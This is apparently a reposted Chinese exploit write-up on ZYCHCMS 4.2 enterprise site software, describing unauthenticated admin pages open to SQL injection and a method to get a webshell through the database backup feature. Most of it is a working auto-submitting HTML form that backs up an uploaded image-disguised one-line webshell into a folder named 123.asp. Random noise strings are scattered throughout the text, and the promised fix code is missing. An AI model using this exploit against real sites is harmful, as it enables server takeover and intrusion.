ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

admin

0 M; }7 S  ?! y5 L3 ]# u

- W# S: u9 _; E* D/ A( d, D
影响版本：ZYCHCMS企业网站管理系统4.2（存在以下两个文件的版本应该是通杀）
①SQL注射漏洞
# \/ k( D3 o5 h- I/ x: R 漏洞文件：/admin/add_js.asp & /admin/add_xm_jiang.asp
漏洞原因：未过滤
0 }$ j# R, _( [; ]% e! o 漏洞代码：
都是相同的，文件开头没有调用过滤文件/admin/seeion.asp，导致没有对当前权限进行判断，就直接操作数据库。
修复方法：在文件开头加入代码


& W- O; J8 s% P* B' a. `' f$ [②后台拿WBSHELL
; Y2 G, r& Z/ o2 p( R 进入后台有一个数据库备份，可以通过本地提交突破创建.asp后缀文件夹，并将一句话备份进去。
这里在网上找了一个，改了下，将就着用。
9 v5 L9 W) a6 n( a 以下是代码本地提交代码
# x) W# ?" W4 D; l  ~

<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
. S& t; I( [) V( v; r; q <!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
6 E! _. Y: s  V$ ?( A- s <tr>
<td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
</tr>
* K5 W! ^8 s# P4 k <tr>
<td bgcolor=”#FFFFFF”><span class=”back_southidc”>
+ w& s. [: Q* F8 a6 O- g& h </span>
<table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
7 ~" y3 W4 u; `$ a" q3 Q) b. d <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
% y' A! k: W0 D. A <td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
<td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
<div align=”left”>
<input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
; ~" A% f0 O! x+ J; L1 {2 l, Z <!–eg：../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
<input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
</div></td>
</tr>
8 n- G$ l; J6 W7 {$ W2 @ <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
" o3 T9 K$ s. i! K& u: v5 N7 I& e  E9 u <td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
<td class=”td”><div align=”left”>
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
[如备份目录有该文件，将覆盖，如沒有，将自动创建]</div></td>
</tr>
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
<td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
3 H$ o4 Z5 Z" ?; h8 f0 p) O <td class=”td”><div align=”left”>
- x7 f7 ?8 c7 L/ R% L: W3 U <input type=”submit” value=”确定备份” class=”btn”
</div></td>
& \" m& b) E( j3 g1 D </tr>
: `/ F' X2 V! `7 S. f  g </table></td></tr></form>
+ W3 M  u: n  \4 ?# |0 } </table>
7 O$ \; Q1 A- \4 f9 x" I) M </td>
</tr>
- w$ {, o' z2 `$ X: ~3 e </table>
<script>
document.all.add.submit();
' N+ _/ @) V0 a- C) P/ J </script>
9 `6 d9 ?9 ]0 [- b$ F

# h$ [' c5 X- _4 l
; }$ b8 `! V2 z8 ?+ y6 X: r
7 |# Z1 K$ T! S7 R3 C
' E" F' M3 |8 Z

, z5 p- b( C4 P7 r9 \0 k4 P' d- T/ u
; V) q: [- y  ?( v. _) S( |
% N8 w1 X0 h6 D